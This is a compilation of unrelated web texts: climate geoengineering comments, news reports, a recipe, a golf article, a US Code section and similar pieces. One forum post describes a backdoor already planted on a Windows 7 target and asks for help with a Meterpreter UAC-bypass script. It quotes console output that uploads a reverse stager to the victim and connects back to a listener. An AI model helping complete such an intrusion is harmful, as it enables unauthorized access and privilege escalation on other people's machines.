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Did anyone else notice...
...the subtitle is a M*A*S*H quote?
Mines the one with the Korean War Memorabilia catalog in the pocket
If we can develop the scientific knowledge needed to change the climate for the benefit of humanity, and change it in a controlled manner, shouldn't we be trying to do it? Is it so different from developing antibiotics? Remarks this week by Obama's chief science advisor John Holdren have reopened the debate. Holdren says he's …
I read some time ago about carbon capture by crops being a major uncertainty and variable in climate models, and a way to do geo-engineering. Chances are, humanity has been causing climate change for a lot longer than is generally realized. Since the dawn of agriculture, in fact.
Wheat, for some reason, produces silica nodules around its rootlets. The root within one of these nodules is protected from decay for many thousands of years. Some varieties of wheat produce many more silica nodules than others. It looks like a small effect, but we grow wheat on a vast scale. When you do the sums, the amount of carbon being trapped by wheat is significant. We could increase it many-fold just by growing different existing varieties of wheat, and we could probably square that factor by selectively breeding wheat varieties to capture carbon.
More generally, there's the root-to-leaf ratio. For any plant in any environment, there's an optimum ratio, when the roots are capable of supplying all the nutrients except for the carbon (which comes from the air as CO2). Plants do of course self-optimize. So as the level of CO2 in the air increases, they'll grow proportionately bigger roots. When the plant dies, it will have buried a greater amount of CO2, and deeper. This is probably how the biosphere remains stable, in the face of natural CO2 erruptions from supervolcanoes and continental splitting events, which dwarfed anything we've done (so far).
But what represents system stability? and is it what we really want? We don't pursue stability in industrial or financial growth. We don't seek to cap the number, age or consumption of people. If we accept that human activity has an impact on the global ecosystem and don't accept that we stabilise that activity then what is actually being sought is a method to actively change the climate element to conveniently accomodate that changing activity. Given the lack of credibility of the only general model which has(had?) some degree of consensus and the week-by-week contradictions from inside the climate industry I would be very wary of large calibre magic bullet solutions. You know what they say - be careful what you wish for - you might just get it.
Humans are meant to be good at adapting to changing situations - and even if we're not we will anyway.
I don't know much about this, but doesn't sulphur in the atmosphere result in the formation of weak sulphuric acid, which drops out as acid rain? That kills lots of trees, which isn't going to help the situation. This has been an issue for many years, with the effect being seen downwind of large industrial sites that spew sulphur.
Taking these actions may be popular in drawing in 'group-think' voters. But we do not understand the full dynamics of the ecosystem to even make valid predictions about what will occur.
I would give it a few years, as in all likelihood all the climate models of today will be thrown out by then as 'naive'.
Of course if you just want to spend some cash on something that feels nice to do - give it a whirl. It is unlikely that any human endeavour will have a significant impact without a huge investment. But be prepared to write off all that cash 5 years down the line.
...with building a dam against nature is that when it fails, you drown.
If you believe in MMGW, any safe solution must address the causes. Catastrophic failure of a sunshade with very high atmospheric CO2 levels would be "a very bad thing".
New Scientist covered this adequately a few months ago.
Great so we still can't predict the weather, even short term, (like say for even a few weeks), so now they want to mess with the weather.
How the hell can they predict the long term effects, of forcing any changes to the climate, if they cannot even predict the short term behaviour of the climate.
Talk about dismayed. The closeminded ignorant arrgance of some people seems to have no limit. But even worse this is scientists behind this move.
You, sir, took my words.
But the part that scares me is the fact that all of the climate change models ignore cloud formation; which as any one who's been out on a dreary, overcast day knows can affect the temperature. I know that's a local occurrence, but if a cow farting in a field can have global repercussions, so can a cloud reflecting several Km^2 of sunlight.
The part that scares me even more, is that with this admittedly poor understanding, these "Friends of the planet" are proposing things like sulfur in the atmosphere (didn't we just clean up acid rain?), ruining the global economy, practicing eugenics/population control, and other extreme efforts to prevent a catastrophe that may not happen. Especially seeing as how the climate models cannot even accurately "predict" the past.
Maybe when our understanding is complete enough that the weatherman can tell me with 95% accuracy weather or not it will rain in two weeks, I'll listen to what the climate change people are saying. Until then, they do not have the data, the models, or the math to back them up on any of their claims.
..."Is it so different from developing antibiotics?"
Er, hello? You notice odd behaviour in a petri dish, try it on a few desperately ill sample humans and it works, downside if it fails; some poorly humans die.
If your geoengineering fails and the poorly planet takes a sudden nosedive? How many centuries of uninformed tinkering led to penicilin and how many unintended fatalities were there along the way?
I'm fairly ambivalent about MMGW because I'm cynical about the skills of the powers that be to do anything useful but rest assured, I'm doing my bit, my collection of old nails are all appallingly fuel-inefficient so petrol won't be a problem for much longer! Their oil consumption should balance things out nicely with the particulate-albedo contribution too :o)
Petrol is evil and must be burned!
"But what represents system stability? " - Colin
To a first order approximation we can presume the climate over the last 2,000 years excluding the last 100 which has been artificially warmed by man.
Further research will be used to provide the second and third order components.
"and is it what we really want?" - Colin
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Makah Ozette Potato Seed Available Again!
The Makah Ozette Potato is a special potato that is part of Slow Food's Ark of Taste. And now, its seed is available again!
The crop of MOP seed grown in 2013 is nearly back to the production levels we had when flooding destroyed the 2010 crop at Pure Potato in Linden WA. This potato with its unique origin and wonderful flavor has become very popular with home gardeners. This year Pure Potato has once again distributed them to garden shops and nurseries in Western Washington.
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There are many things to do and see including the following: Explore Brisbane's foreshore by driving the Moreton Bay Tourist Drive. Follow the brown and white dugong signs. Discover the Ramsar protected Boondall Wetlands Bicentennial Road at Boondall. Visit Moreton Island and swim, snorkel, sand toboggan, camp, surf, fish or feed the dolphins. Pick your esplanade along any of the foreshore villages to walk or cycle. Sail or cruise Moreton Bay and board one of the boats leaving daily from Manly Harbour.
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i hope some one might help me regarding a problem using the bypassuac.rb script for Meterpreter.
So here is my situation:
I already have placed a reverse_tcp_dns backdoor on the target host. The target host is running Windows 7. Because of the limitations caused by UAC i can not execute the getsystem command on the meterpreter shell.
After searching the web i found the script from http://www.secmaniac.com/january-201...in-metasploit/
As i understand this script is already part of MSF, but even after updating MSF i don`t have the script. So i installed the script as described in the readme file.
Now when i type in the meterpreter shell this command: run bypassuac i get this error :
meterpreter > run bypassuac[*] Creating a reverse meterpreter stager: LHOST=192.168.0.91 LPORT=4546[*] Running payload handler[*] Uploading Windows UACBypass to victim machine.[*] Bypassing UAC Restrictions on the system....[*] Meterpreter stager executable 73802 bytes long[*] Uploaded the agent to the filesystem....[*] Executing the agent with endpoint 192.168.0.91:4546 with UACBypass in effect...[*] C:\Users\pam\AppData\Local\Temp\AJXMEwYI.exe /c %TEMP%\TlNdBzSjbOrW.exe
What is going wrong? Please help me.
[-] Error in script: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: The version of %1 is not compatible with the version you're running. Check your computer's system information to see whether you need a x86 ; or x64 ; version of the program, and then contact the software publisher.
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LOSSBURG, GERMANY (March 15, 11:45 a.m. ET) — Injection machinery producer Arburg GmbH + Co. KG expects to post 2011 turnover of 460 million euros ($601 million), up 22 percent over 2010.
Managing partner Michael Hehl called the numbers "a record result for Arburg" when he presented the results on the first morning of Arburg's annual Technology Days open house on March 14. The previous record had been turnover of 409 million euros in 2007.
The result is close to the overall average growth of 23 percent announced recently by VDMA, the German Plastics and Rubber Machinery Association.
Arburg sales director Helmut Heinson stressed that with price increases having accounted for no more than 3-4 percent, the growth in turnover has been in volume and not price inflation.
Incoming orders, however, fell 2 percent by value in 2011, amounting to around 320 million euros ($418 million) in terms of pure injection molding machine orders received at the Lossburg headquarters, as opposed to complete "project" production system solutions and orders taken by Arburg's foreign subsidiaries.
Heinson commented: "We got onto a different track in [the fourth quarter of 2011] as the market calmed down. This has had a healing affect on delivery times, so they have got back to normal in 2012, which means four to five weeks for standard machines, 10-12 weeks for others, depending on the amount of engineering needed."
The pattern in incoming orders shows electric-drive Alldrive machines as having grown from a 16 percent to 17 percent share of the total, Hidrive hybrid drive machines also growing their share 1 percent to 14 percent. The hydraulic drive Golden Edition machine share has dropped however from 22 percent to 19 percent.
Heinson says it is still too earlier for the new Edrive series, introduced in 2011, to show through strongly in orders, "but this will change a lot in 2012, as the real pushing of the Edrive only really started in 2012."
Heinson added that Arburg wants to grow its project business — selling complete turnkey production cell systems.
Project sales presently account for around 12 percent of Arburg's turnover in Germany, less so in other countries. With trained system staff now available in some foreign subsidiaries, the project business will be driven particularly hard in France, Spain and the Czech Republic, as well as in Poland and the United Kingdom.
"We want to do more of the project business worldwide too, also in China" Heinson said, "It is not a top priority in China, but will become one. Delivery of a machine with a robot is now common for China, but it is not classified as a project for Arburg. But in the past it used to be just a molding machine."
Looking at other countries, and commenting on the financial crisis in southern European countries, Heinson said: "We normally used to sell two machines per year in Greece, but we did not sell any machines there in 2011. On the other hand, Turkey is very interesting, due to high growth and moving away from the traditional dependency on imports of cheap machines by switching to quality products [machines] made in Europe."
There has been no obvious change for Arburg in the Italian market and business has been "satisfactory" in Spain and Portugal in 2011, with "stabilization having taken place at a high level."
China, and Asia more generally, does present some headaches for Arburg however. There are two issues here, price and delivery times. Here, Heinson said, "the Japanese are at our price level, sometimes slightly lower. So we are not cheap. On the other hand, we suffer from seven weeks transport time from Europe to the region."
Heinson added, "We will not seek to change our price level, as we remain with our commitment to production only in Lossburg. We need therefore to continue with our success in finding suitable customers in China [at our price levels]. But we need to look at some logistic and organizational possibilities in order get a grip on delivery times for the region. This would be a way to optimize our business [in the region]."
Overall, Arburg has been increasing its export sales share, up from around 50 percent in the past, already at 70 percent today and increasing further.
Technical director Herbert Kraibühler does not expect production to increase significantly in the next five years, as the production plant is fully utilized and "it cannot be easily expanded, due to our vertical integration philosophy.
"It would therefore not be a matter of just adding one more production hall, but much more than that," Kraibühler said.
See www.europeanplasticsnews.com for a complete version of this story.


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The Water Innovations Alliance Foundation is focused on educating the public and key stakeholders as to new developments in fresh and waste water technologies. The Foundation works to gather data, develop reports, standards, economic analysis, and model training programs for advancing the development and deployment of new water technologies.
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Featured recipe
100g Bleu d'Auvergne
1 rabbit
150g carrots
50g leeks
1/2 onion
1 tablespoonful of olive oil
1 twig of thyme
1 laurel leaf
Salt and pepper
For the cabbage stew
900g cabbage
100g bacon
50g butter
Cut the rabbit into pieces.
In a marmite stewing dish sauter (browned by frying in high heat with butter or oil)
the meat until golden, place on a dish and keep warm.
Peel and cut the onion, the carrots and leeks into small pieces,
stew them in a marmite-stewing dish with the thyme and laurel leaf.
Add the pieces of rabbit and enough water to just cover them, bring to the boil,
turn down the heat and let it cook over low temperature for about 20 minutes.
While this is cooking prepare the cabbage stew.
Take away the outside cabbage leaves, and then cut the cabbage into two,
further cutting each section into six small stripes.
In a frying pan sauter the bacon, add the cabbage stripes,
salt and pepper and cook over low heat for 15 minutes.
Remove the pieces of rabbit from its juices still keeping them warmed.
Pass the juices through a sieve. Bring the juices to the boil and
add the Bleu d'Auvergne
(first, cut into small chunks) by mixing it in gently with a beater,
season with salt and pepper.
Repass through the sieve. Serve the rabbit on a serving dish;
pour the cheese sauce over it.
Serve the cabbage stew on a separate dish.
Comments: An ideal dish for those cold winter evenings,
filing but still not too heavy.
Not too difficult to prepare, worth the effort! Rabbit is a traditional French country dish
that makes a nice change from other usual poultry.
The savory sauce marries well with the meat


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Uponor, Inc. is excited to announce the launch of Uponor Innovations LLC — a new, wholly owned subsidiary and corporate enterprise designed to identify emerging markets and create new, game-changing products.
"We are very fortunate to work with very talented and creative people at Uponor," says Bill Gray, president of Uponor North America. "But, we have to recognize that no single company has a monopoly on good ideas. Uponor Innovations is one way we can connect with others externally and help turn their good ideas into a reality."
Anyone from entrepreneurs to startups, business owners, management teams, investors and funds can submit an executive summary of their ideas to www.uponorinnovations.com. Uponor is open to exploring ideas that may or may not build on its existing product profile and business model.
"Someone may have a good idea, but lack the resources to gain any traction or success," says Gray. "That's where Uponor can help. We have a successful and established infrastructure to help introduce ideas, products, processes and technology to our industry."
This infrastructure includes staff, funding, manufacturing, marketing, sales, technical support and a national distribution network. Uponor Innovations is not an investment portfolio enterprise, but rather its approach is to pursue involvement through existing Uponor assets and resources.
Gray believes that building an innovative culture internally and externally is a great opportunity to build products and create new processes and technologies that not only help its customers differentiate and grow their business, but also inspire the industry with fresh, innovative and sustainable solutions, and enrich people's way of life.
"The entrepreneurial spirit is a core part of our culture at Uponor; it's in our DNA," Grays says. "We're very excited about this new venture where we can all capitalize on better ideas and solutions to revolutionize our industry."
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text: Olivia Tamayo, a farmworker in California's Central Valley, won a $1 million sexual harassment lawsuit against Harris Farms after her supervisor raped her repeatedly and the company's only solution to the problem was to move her closer to her rapist's house. Although Tamayo gained a victory against sexual harassment amongst farmworkers, there are many more victims afraid to speak out due to embarrassment, immigration status, and fear of losing their jobs: In 1993, the Southern Poverty Law Center found in 1993 that 90% of female farmworkers in California felt that sexual harassment was a problem. [LA Times]


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WASHINGTON, July 30 (UPI) -- House Republicans ramped up their "Fire Reid" campaign Tuesday by urging voters to turn against Democratic senatorial candidates in November with the goal of ousting Harry Reid as Senate majority leader.
The Republicans hope to overturn the 55-45 Democratic majority in the Senate in the midterm elections. Republican control would mean the end of Reid's days as majority leader.
Speaking on the lawn on the East Front of the U.S. Capitol, several GOP lawmakers said Sen. Reid of Nevada is ignoring House-approved bills favored by Republicans.
"It is time to fire Harry Reid," Rep. Marsha Blackburn, R-Tenn., said. "We are ready to take control of the Senate."
GOP-sponsored bills were stacked several feet high on a round, mahogany table to the left of the lectern, showing the small crowd of Republican supporters the House-approved legislation that GOP members claim is "sitting on Harry Reid's desk."
"The American people are not getting an up-and-down vote in the United States Senate because Harry Reid is blocking that," said Rep. Steve Daines, R-Mont. "We fired Nancy Pelosi in 2010. It's time to fire Harry Reid in 2014."
Among the Congress members who spoke were Rep. Doug Collins, R-Ga., Rep. Bill Johnson, R-Ohio and Rep. David McKinley, R-W.Va.
Later Tuesday at the Capitol, Sen. Reid fired back.
"One thing the American people are totally focused on is how absurd the Republicans are spending their time, talking about impeachment and suing the president," he said. "This is a degree higher than absurdity."
When asked about the GOP presser about him, Reid quipped, "I'm surprised more press didn't show up. Only a couple people did."
The Republican National Committee started its "Fire Reid" campaign last week. As part of the movement, the RNC announced it launched robocalls in Alaska, Colorado, Iowa, Louisiana, Michigan, Montana, New Mexico, North Carolina, Oregon, South Dakota, Virginia and West Virginia — all states that have at least one senator up for reelection in November. The message urges the listener to vote against the Democratic Senate candidate in one of those states.
"What you didn't hear [today] is anything on some of the big issues Americans want Congress to address," said Michael Czin, press secretary for the Democratic National Committee. "Republicans are focused on mechanics, but they're not focused on passing common sense immigration reform."
The Republican-controlled house has not acted on the comprehensive immigration reform bill that passed in the Senate last year.
"They [Republicans] need to take some of their own advice," Czin said.
Republican interns and staffers, who made up most of the crowd, held up signs that read, "Stop Obama, Fire Reid." A banner with the same message was displayed behind the Republican congressional members.
While specifically targeting the 74-year-old Senate majority leader, the broad theme of the movement is to not only attack Reid, but also President Obama and the Democrats as a whole. Independent Sen. Bernie Sanders of Vermont sits with the Democratic caucus, providing the 55-vote majority.
"The only way to stop President Obama's agenda and to get jobs bills out of Congress is to fire Harry Reid," RNC chairman Reince Priebus said in a release. "And the way to fire Harry Reid is to support your Republican Senate candidate. It doesn't matter who the Democrat candidate is. A vote for a Democrat is a vote for Harry Reid."
Congress is set to go on a five-week recess at the end of the week.


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Why a Book Designer?
Nan Barnes
"Don't judge a book by its cover." Good advice, and yet that's exactly what we all do. Appearances matter. You know when you see a well-designed book, as compared to an amateur DIY project, in the same way you see and know the difference between a designer suit and a workman's overalls. You may never have met me, or any other book designer, but you appreciate our work every time you browse in a bookstore or library.
When you're writing a book, you think only of the text. You imagine your text in a printed, published book. Yet there's a step in between a manuscript and publishing. We must transform that Word document into a digital file that a printer will use. (Actually, two files – the interior of the book, and the cover.) Large publishers have an art department to handle this step, but self-publishing authors usually hire a book designer.
A book designer serves two functions for a self publishing author. Obviously, we design the book. We also bridge the gap between author and printer. If an author needs to select a printer I help them to compare cost and options. After designing the book, I create the account, upload the book to the printer, and place the first book order, sparing the author a lot of unforeseen technical hassles. Can you do this yourself? Great! If you're inexperienced and/or don't have the right software, it will be more difficult.
Like a clothing designer, a book designer has specialized tools, knowledge and training. Also like a clothing designer, we work with the best materials. For a book, the materials are text and typefaces, formats and photos, illustrations, shapes and colors. From these raw materials, a good book designer can transform mere blank paper into an interesting, emotionally powerful, visually pleasing work of art.
Graphic design software makes all this possible. The best software, used by most professionals, is the Adobe Creative Suite. Book design requires the use of three of Creative Suite's programs: Photoshop (for image manipulation) Illustrator (for artwork and cover composition) and, InDesign, the software that the book is composed in, page by page. InDesign is a wonderful tool, making it possible to manipulate text and page layouts, to automatically generate tables and indexes, and so much more.
If I have whetted your appetite to try this wonderful software out for yourself, there are some caveats. Photoshop, Illustrator, and InDesign each can take years to learn. And there's the cost: CreativeSuite is $1,899.00 and up. Unless you already own and use the software, it is better (and far more affordable) to hire an experienced designer.
We usually think of the book cover first, but the interior of the book is also designed, so I will focus on this little known subject. You probably have written your book in Microsoft Word, or a similar word-processing program. These programs are great for text, but have very limited options for the appearance of text. Word is terrible for images, too. When you import an image into Word, it compresses it, so the quality is unacceptable for a printing press. (If you talk to a printer who says he will print your book from Word, he's offering a very low quality book, or he's going to charge you to redesign it. Ask which.)
Your Word page is an 8.5x11, but what is the layout of the book you're publishing? 8x10? 6x9? There are many options, all of them different from your Word document. As a book designer, I research your printer's specifications and set up your page layout. For example, an 8x10 book has an 8x10 trim size, but may be designed with a .125 inch bleed area beyond the page, and then specifications for the internal margins and a gutter for the binding. Printers require all these measurements to be exact. If this seems technical, you're right! Book design is artful, but it requires a calculator, too.
What happens to your Word manuscript? I cut out all the text and copy it into InDesign. (If you have placed images in Word, send the original high resolution digital files separately.) Then I place images on the page, perhaps with space for captions or a colored background motif. Then the text styling begins, with fonts for the chapter titles, headings and subheadings, fonts for captions and endnotes if you have them. The table of contents, the title page and copyright page are composed next, with some added design elements for a good "first impression". Finally, any special sections, such as appendixes or an index, will require their unique formatting.
In the end, this book interior, called the bookblock, is formatted according to your printer's requirements and saved to a PDF file. You can open the PDF in Adobe Reader and see what your book will look like. (Of course, it will look even better on paper – computer screens are fuzzy and their colors are terrible!)
I'll spare you the details of cover design here, except to say that a cover differs from a book, because its images are more complex and perhaps more important than the words. Covers are designed in layers, often with many superimposed elements that interact with one another. The process of developing a cover is not only technical, but also requires some artistic talent.
Many of my clients have a starting point, a photo or an idea, and leave it to me to build on that idea to develop the cover. I often create a few contrasting mockups, or rough samples. The author can view the cover mockups in Adobe Reader and choose the elements they like.
For the author, this process of working with a book designer seems simple, especially after having worked so hard to create your manuscript. You email off your Word file, choose your book size and printer, and sit back and wait. (If you've read the article above, you know what I'm doing in the meantime.) Two PDF's will show up in your email, and after you have finished admiring your book, you reply to the email "yes, go ahead." That's my signal to send it to the printer. In a matter of a week or so (more for offset printing) a package arrives at your door, your masterpiece inside. Voilà! Finis!


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Obama blasts Congress on sequester
NEWPORT NEWS, Va. – President Barack Obama used a backdrop of a shipbuilding plant, factory workers and the local Republican congressman in his latest attempt to increase pressure on Congress to bend on the sequester cuts.
With Rep. Scott Rigell (R-Va.) in tow but off stage — even as the congressman said later that president and the GOP deserve equal blame for not advancing viable sequester alternatives — Obama warned that while the nation won't see immediate damages should the sequester cuts take place Friday, they will damage the economic recovery he has carefully shepherded and place the nation's security at risk.
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"These cuts are wrong," he said while standing in front of a three-story aircraft carrier propeller. "They're not smart, they're not fair, they are a self-inflicted wound that doesn't have to happen."
Rigell provided the White House with the bipartisan display it's long sought, and Obama said he gave the congressman from Virginia Beach "credit" deserved for breaking with his leadership and traveling here aboard Air Force One.
Obama acknowledged the political risk for Republicans — "That's not always healthy, being with me," he said — but praised Rigell for his call for Republicans to consider new tax revenues as part of a deal to avert the sequester.
"There are too many Republicans in Congress right now who refuse to compromise even an inch when it comes to closing tax loopholes and special interest tax breaks," Obama said. "Keep in mind, nobody is asking them to raise income tax rates. All we're asking is for them to consider closing tax loopholes and deductions."
Rigell did not speak at the event, though he did with reporters aboard Air Force One, expressing his dissatisfaction with his conference but his skepticism that any deal could be struck ahead of the March 1 deadline. Along with Rigell, Obama praised by name Sen. John McCain (R-Ariz.) and made a reference to "your Republican governor," Bob McDonnell, for promoting Obama's version of a "balanced approach."
Neither attended the event.
As has his administration, Obama warned the sequester would result in delays in commercial air traffic, fewer federal crimes being investigated and prosecuted, less child care and a building slowdown for defense contractors.
The president said Defense employees would face unpaid furloughs, the ripple effects of which would be damaging to local and national economies.
Obama also delivered a rebuke to Republicans who have said in recent weeks that the White House should be forced to choose what elements of the government are cut due to sequester.
The cuts themselves, he said, are too broad to be able to be targeted toward specific agencies or programs. Instead, Obama said, more tax revenue is necessary to meet the sequester's debt-reduction target.


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by Matt Dalby, sports information graduate assistant
NEW ORLEANS – The Georgia College men's and women's cross country teams have each been named 2011 United States Track and Field and Cross Country Coaches Association (USTFCCCA) Division II All-Academic Teams as announced last week.
The Bobcat women finished 13th overall at the NCAA Southeast Regional after finishing seventh at the Peach Belt Conference (PBC) Championships.
Sophomore Allison Lones (Kathleen, Ga.) was recognized individually to USTFCCCA Division II All-Academic Team. The 'Cats also boasted a PBC All-Academic honoree in senior Victoria Dobson (New Hamburg, Ontario).
The Georgia College men placed a pair of runners on the USTFCCCA Division II All-Academic team, as seniors Dan Horseman (Cohutta, Ga.) and Tyler Mattix (Snellville, Ga.) were recognized.
The Bobcat men compiled an impressive team GPA of 3.09, with the women earning an equally notable 3.06 team GPA.
The Georgia College Department of Athletics, two-time winners of the PBC Commissioner's Cup, sponsors 10 varsity athletic programs at the NCAA Division II level. As a Division II program, Bobcat Athletics prides itself on balancing the life of the student-athlete, evidenced by the teams' multiple appearances in post-season competition as well as documented academic success and community-service involvement. Sign up at www.twitter.com/BobcatSports and www.facebook.com/gcbobcats for up-to-the-minute reports, and visit www.GCBobcats.com for more information, and to nominate your favorite former Bobcats and Colonials to the GC Athletics Hall of Fame.


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August 13 - Amour - Clear
August 13 - Amour - Clear
August 13 - Amour - Clear
"Amour" represents August 13 in the 100 Waves of Summer series.
100 WAVES of SUMMER
Each stained glass panel in the "100 Waves of Summer Series" is a limited edition of five panels per day of summer. In the summer of 2007, I walked up to the beach every day gaining inspiration, then went back to my studio and designed a wave in stained glass. There are actually only 95 days in summer, so the series continues into autumn; a beautiful time of year.
There are waves all around me. I would like to be surfing the waves in the ocean but I haven't had a free moment lately. I have been surfing the other waves in my life and this has set me on a very happy course.
I have learned to look forward to those low pressure systems. They bring really big waves that are not so scary if I study them first and then decide where my soul wants to go. If I decide to paddle out into them, I can anticipate what the rough water might do. Instead of getting hurt, I learn and I grow. When there is a high pressure system and the waves are small, I know that this is my time to rest, soak up the energy, and reflect. I know that if I rest too long in the sunlight, I can get burned.
I am grateful for the currents constantly moving me. The waves enrich my soul and path in life. The 100 Waves of Summer is a celebration of waves.
Mary Tantillo


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SALISBURY, N.C – The Carson-Newman Eagles (3-2, 2-2 SAC) used a strong ground attack to power ahead to a 42-7 victory over the Catawba Indians (3-3, 1-2 SAC) at Shuford Stadium on Saturday afternoon.
The Eagles built a 21-0 lead over the Indians early into the second quarter, and after a second quarter Indians touchdown, Carson-Newman outscored Catawba 21-0 in the second half en route to the five-touchdown victory.
"It was very gratifying to see us block and tackle the way we did today," said Carson-Newman head coach Ken Sparks. "We played with a lot more purpose, played with more energy, I thought our guys were in 'attack mode' first time we've been like that in a ball game this year. I'm very proud of the defense the way they came out and established really the whole tempo of the ballgame."
Carson-Newman ran the ball effectively, with 377 yards on the ground compared to Catawba's 24. Carson-Newman had 422 yards of total offense while the Indians gained only 135 yards. Junior running back Brandon Baker (Miami, Fla.) cracked the century mark on the ground with 121 yards rushing on 17 carries.
The Eagles have now won their last five games over the Indians with Carson-Newman outscoring Catawba by an average of 41-18 in those contests.
Carson-Newman scored on its first possession for the fourth time in five games when quarterback Brandon Haywood (Rockmart, Ga.) connected on a 20-yard touchdown pass to Jason Brown (Plant City, Fla.) to give the Eagles a 7-0 advantage. After the C-N defense forced a three-and-out, the Eagles marched 61 yards on 11 plays on their next drive, ending in a Haywood touchdown dive to put Carson-Newman ahead by two touchdowns.
The Indians once again went three-and-out on their next drive, and Carson-Newman would again pick up a score on the ground, as Andy Hibbett (Corryton, Tenn.) scored from six yards out to put Carson-Newman's lead to 21-0 minutes into the second quarter.
The teams exchanged punts on their next series, with Catawba putting their only points on the board with 6:58 left in the second quarter as quarterback B.J. Sherrill completed a 15-yard touchdown pass to Diante Hodges to cut Carson-Newman's lead to 21-7, which would be the halftime score. The Eagles nearly doubled the time of possession in the first half, with Carson-Newman outgaining Catawba 207-79 in total offense in the first half.
In the third quarter, the Eagles added to their advantage with Haywood's second rushing touchdown of the day putting Carson-Newman's lead at 28-7 with 6:42 left in the quarter. The third quarter also featured Carson-Newman's first interception this season, as Sean Rawson (Cape Coral, Fla.) intercepted a Sherrill pass and returned it 19 yards.
The Eagles added two touchdowns in the fourth quarter, with Tyron Douglas scoring from eight yards out early in the fourth quarter to cap his 63-yard day rushing the football, giving the Eagles a 35-7 lead. Freshman quarterback De'Andre Thomas (Milledgeville, Ga.) added the final Eagle score on his 16-yard touchdown rush with 8:46 left in the game.
The Eagles dominated time of possession, with Carson-Newman holding the ball for over 37:21 compared to Catawba's 22:39 mark, including the first quarter when the Eagles had the ball for just over 11 of the 15 minutes.
In addition to Haywood's two rushing touchdowns, the senior also had an effective day passing the football. He was a perfect 4-for-4 passing for 45 yards with a touchdown. Haywood also ran the football 15 times for 57 yards.
"I have to give Coach Mike Turner and the offensive staff a lot of credit like I give Coach Mike Clowney and the defensive staff credit for the game plan," said Sparks. "But it always comes back to the kids, all the credit should go to them."
Carson-Newman will next play next Saturday Oct. 13 against North Greenville for Homecoming at Burke-Tarr Stadium at 3 p.m. Fans can listen to the contest on the Coca-Cola Eagle Sports Network, with coverage beginning with the Farm Bureau Tailgate Show at 2 p.m.


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Photos: To his rivals, Tiger looks like Tiger again
He made 27 birdies on his way to a two-stroke win in the WGC-Cadillac Championship on Sunday and needed just 100 putts in 72 holes as he clinched his second victory of the young year.
-Stricker's generosity helps Tiger to victory
Yes, it looks like Tiger Woods is well on the way back.
And if there is any doubt about Woods being close to returning to the pinnacle of the game, a win at the Arnold Palmer Invitational at Bay Hill in two weeks would send the 14-times major winner back to number one in the world rankings.
"I'm just trying to get better," said Woods.
"It's very simple. I feel like my game is becoming more efficient and more consistent day-in, day-out and I am very pleased with the progress I've made with (swing coach) Sean (Foley)."
Image: Tiger Woods reacts after his final putt
Photographs: Joe Skipper/Reuters
'Tiger just seems in a better place mentally to me'
The debate over whether Woods is truly back to his best, to the kind of devastating form he showed in the early 2000's, will not be over until he ends his nearly five-year wait for another major title.
But his rivals see all the signs of Tiger being Tiger again.
"His attitude and what I saw this week and his belief in himself again, looks very similar to where he was in the early 2000's," said Steve Stricker, who was runner-up at Doral on Sunday, two strokes behind Woods.
"He just seems in a better place mentally to me. He seems to be having fun and seems to have a lot of confidence in himself and his game."
Stricker helped Woods with his putting this week, but while he used that advice to be deadly on the greens he was consistent and controlled through all aspects of his game.
Image: Tiger Woods celebrates with his caddie Joe LaCava
Photographs: Joe Skipper/Reuters
'Everything is just under control on the tee'
After his return to play following the break-up of his marriage in 2010, Woods showed flashes of his talent along with some dramatically wayward shots, particularly after he started to re-design his swing with coach Sean Foley.
While Woods is not bombing his driver as far as he did in his glory years, he is long enough and still has his superb iron and short game well in place.
"His driver looks like it is a bit safe. He doesn't look like he's got the 350-pound bomb in him anymore," said Northern Ireland's Graeme McDowell, who played alongside Woods in the final two rounds.
Former US Open winner McDowell said Woods looked in command of his game.
"Everything is just under control on the tee. It's a cut and it's in play and that seems to be the way he's learned how to get his game. Get it in the fairway and then from there, we know how good he is," he said.
Photographs: Andrew Innerarity/Reuters
'I spend those countless hours out there to be in that position'
"He doesn't have those kind of off-the-radar balls anymore. Back in 2010, 2011 when I would play with him, he would hit the odd shot where you would just blink and go 'really, that's wide'.
"He's got the ball under control now and knows exactly what his golf swing is going to produce," he added.
On Sunday, defending a four-stroke overnight lead, Woods never looked in danger and appeared totally comfortable with the job of closing out his 76th PGA Tour victory.
"I enjoy being there. That's why I work my tail off to lift all those weights, hit all those balls and spend those countless hours out there to be in that position," he said.
"That is why I prepare so hard -- to be there."
Image: Tiger Woods
Photographs: Andrew Innerarity/Reuters


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20 U.S. Code § 7249 - Smaller learning communities
§ 7249.
Smaller learning communities
(a) Grant authority
The Secretary is authorized to award grants to local educational agencies to enable the agencies to create a smaller learning community or communities.
(b) ApplicationEach local educational agency desiring a grant under this subpart shall submit an application to the Secretary at such time, in such manner, and accompanied by such information as the Secretary may require. The application shall include descriptions of the following:
Strategies and methods the local educational agency will use to create the smaller learning community or communities.
Curriculum and instructional practices, including any particular themes or emphases, to be used in the smaller learning environment.
The extent of involvement of teachers and other school personnel in investigating, designing, implementing, and sustaining the smaller learning community or communities.
The process to be used for involving students, parents, and other stakeholders in the development and implementation of the smaller learning community or communities.
Any cooperation or collaboration among community agencies, organizations, businesses, and others to develop or implement a plan to create the smaller learning community or communities.
The training and professional development activities that will be offered to teachers and others involved in the activities assisted under this subpart.
The objectives of the activities assisted under this subpart, including a description of how such activities will better enable all students to reach challenging State academic content standards and State student academic achievement standards.
The methods by which the local educational agency will assess progress in meeting the objectives described in paragraph (7).
If the smaller learning community or communities exist as a school-within-a-school, the relationship, including governance and administration, of the smaller learning community to the remainder of the school.
The administrative and managerial relationship between the local educational agency and the smaller learning community or communities, including how such agency will demonstrate a commitment to the continuity of the smaller learning community or communities (including the continuity of student and teacher assignment to a particular learning community).
How the local educational agency will coordinate or use funds provided under this subpart with other funds provided under this chapter or other Federal laws.
The grade levels or ages of students who will participate in the smaller learning community or communities.
(c) Authorized activitiesFunds under this section may be used for one or more of the following:
(1) To study—
(2) To research, develop, and implement—
(3) To provide professional development for school staff in innovative teaching methods that—
To develop and implement strategies to include parents, business representatives, local institutions of higher education, community-based organizations, and other community members in the smaller learning communities as facilitators of activities that enable teachers to participate in professional development activities and provide links between students and their community.
(Pub. L. 89–10, title V, § 5441, as added Pub. L. 107–110, title V, § 501, Jan. 8, 2002, 115 Stat. 1823.)
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Best of 2012: Business Interviews
From low tech, to high tech and into the cloud, a look back at WSJ's best business interviews of the year.
This transcript has been automatically generated and may not be 100% accurate.
